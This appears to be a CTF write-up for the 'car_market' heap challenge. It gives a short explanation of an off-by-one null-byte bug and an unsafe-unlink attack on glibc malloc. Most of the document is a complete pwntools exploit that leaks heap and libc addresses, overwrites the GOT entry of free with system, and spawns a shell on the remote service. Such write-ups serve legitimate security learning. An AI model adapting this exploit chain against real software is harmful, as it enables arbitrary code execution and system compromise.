Good problem.

solution

A problem of heap, and the malloc/free are the ones of latest glibc. Structures are below. There is a off-by-one, which the name of customer_t leaks the null byte and rewrites the least byte of comment with null.

car_t **g_cars = malloc(sizeof(car_t *) * 256);  // 0x6020c8
struct car_t {
    char name[16];  // 0x0
    int price;  // 0x10
    customer_t *customer;  // 0x18
}
struct customer_t {
    char firstname[32];  // 0x0
    char name[32];  // 0x20
    char *comment; // 0x40
}

There are g_cars, list of malloced pointes, so we can bypass the check q->fd->bk == q and q->bk->fd == q and do unlink attack. See https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c.

However x->customer (used as x->bk) of a car pointer x is not our controll, so I did with $2$ steps. At first, let x->customer->comment be a pointer of another car y (because y is on the list g_cars), y->price (y->fd) be the g_cars + k where (g_cars + k)->bk == y, and *(y->customer + 0x10) (y->bk->fd) be y. Then free the x (and x->customer). This causes use after free, so we can make a customer which is listed on the car list. Secondly, do the similar thing and write the address the car list on the car list itself. Now we can read/write arbitrary address, and get the flag.

implementation

#!/usr/bin/env python2
import time
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='car-market.asis-ctf.ir')
parser.add_argument('port', nargs='?', default=31337, type=int)
args = parser.parse_args()
context.log_level = 'debug'

elf = ELF('./car_market')
libc = ELF('./libc.so.6') # ubuntu 16.04
p = remote(args.host, args.port)

def prompt(*xs):
    p.recvuntil('>\n')
    for x in xs:
        if isinstance(x, int):
            x = str(x)
        p.sendline(x)

# 1: list
# 2: add Car
# 3: remove car
# 4: select car
# 5: exit
list_cars = lambda: prompt(1)
add_car = lambda model, price: prompt(2, model, price)
remove_car = lambda index: prompt(3, index)
select_car = lambda index: prompt(4, index)
exit = lambda: prompt(5)

# 1: info
# 2: set model
# 3: set price
# 4: add customer
# 5: exit
info_car = lambda: prompt(1)
set_model = lambda s: prompt(2, s)
set_price = lambda s: prompt(3, s)
add_customer = lambda: prompt(4)
exit_car = lambda: prompt(5)

# 1: set name
# 2: set firstname
# 3: set comment
# 4: exit
set_name = lambda s: prompt(1, s)
set_firstname = lambda s: prompt(2, s)
set_comment = lambda s: prompt(3, s)
exit_customer = lambda: prompt(4)

for i in range(20):
    add_car(('car %d ' % i).ljust(15, 'X'), u32('YYYY'))
    select_car(i)
    if i != 11:
        add_customer()
        set_firstname(('customer %d' % i).ljust(0x20, 'A'))
        set_name('B' * 0x20)
        set_comment('C' * 0x48)
        exit_customer()
    exit_car()

# leak heap address
select_car(0)
add_customer()
set_firstname(('customer %d' % 0).ljust(0x20, 'A'))
set_name('B' * 0x20)
set_comment('C' * 0x48)
exit_customer()
info_car()
p.recvuntil('Name : ')
name = p.recvline(keepends=False)
heap_base = u64(name[0x20 :].ljust(8, '\0')) - 0x8a0
log.info('heap base: %#x', heap_base)
exit_car()
pointer_vector = lambda i: heap_base+0x10+i*8

# make fake chunks on a car
bk = 0x18
select_car(9)
set_price(pointer_vector(9) - bk)
add_customer()
set_firstname('A' * 16 + p64(heap_base + 0xf70))
set_comment(p64(0x80) + p64(0xc0))
exit_customer()
exit_car()

# first unlink
select_car(10)
add_customer()
set_comment('C')
set_name('B' * 0x20)
exit_customer()
add_customer() # free
exit_customer()
exit_car()

# make a customer who is listed on the pointer_vector, and make a fake chunk on it
fd = 0x10
bk = 0x18
select_car(11)
add_customer()
set_name('B' * 16 + p64(pointer_vector(9) - bk) + p64(pointer_vector(9) - fd))
exit_customer()
exit_car()

# make an another fake chunk
select_car(12)
add_customer()
set_comment('C' * 48 + p64(0x250) + p64(0x90))
exit_customer()
exit_car()

# second unlink
select_car(13)
add_customer()
set_comment('C')
set_name('B' * 0x20)
exit_customer()
add_customer() # free
exit_customer()
exit_car()

# read libc base
select_car(9)
set_model(p64(elf.got['setvbuf']))
exit_car()
select_car(6)
info_car()
p.recvuntil('Model  : ')
libc_base = u64(p.recvuntil(' \n')[: -2 ].ljust(8, '\0')) - libc.symbols['setvbuf']
log.info('libc base: %#x', libc_base)
exit_car()

# got overwrite
select_car(9)
set_model(p64(elf.got['free']))
exit_car()
select_car(6)
set_model(p64(libc_base + libc.symbols['system']).rstrip('\0'))
exit_car()

# set /bin/sh
select_car(9)
set_model('/bin/sh\0')
exit_car()

# run
remove_car(9)

time.sleep(1)
p.sendline('id')
p.interactive()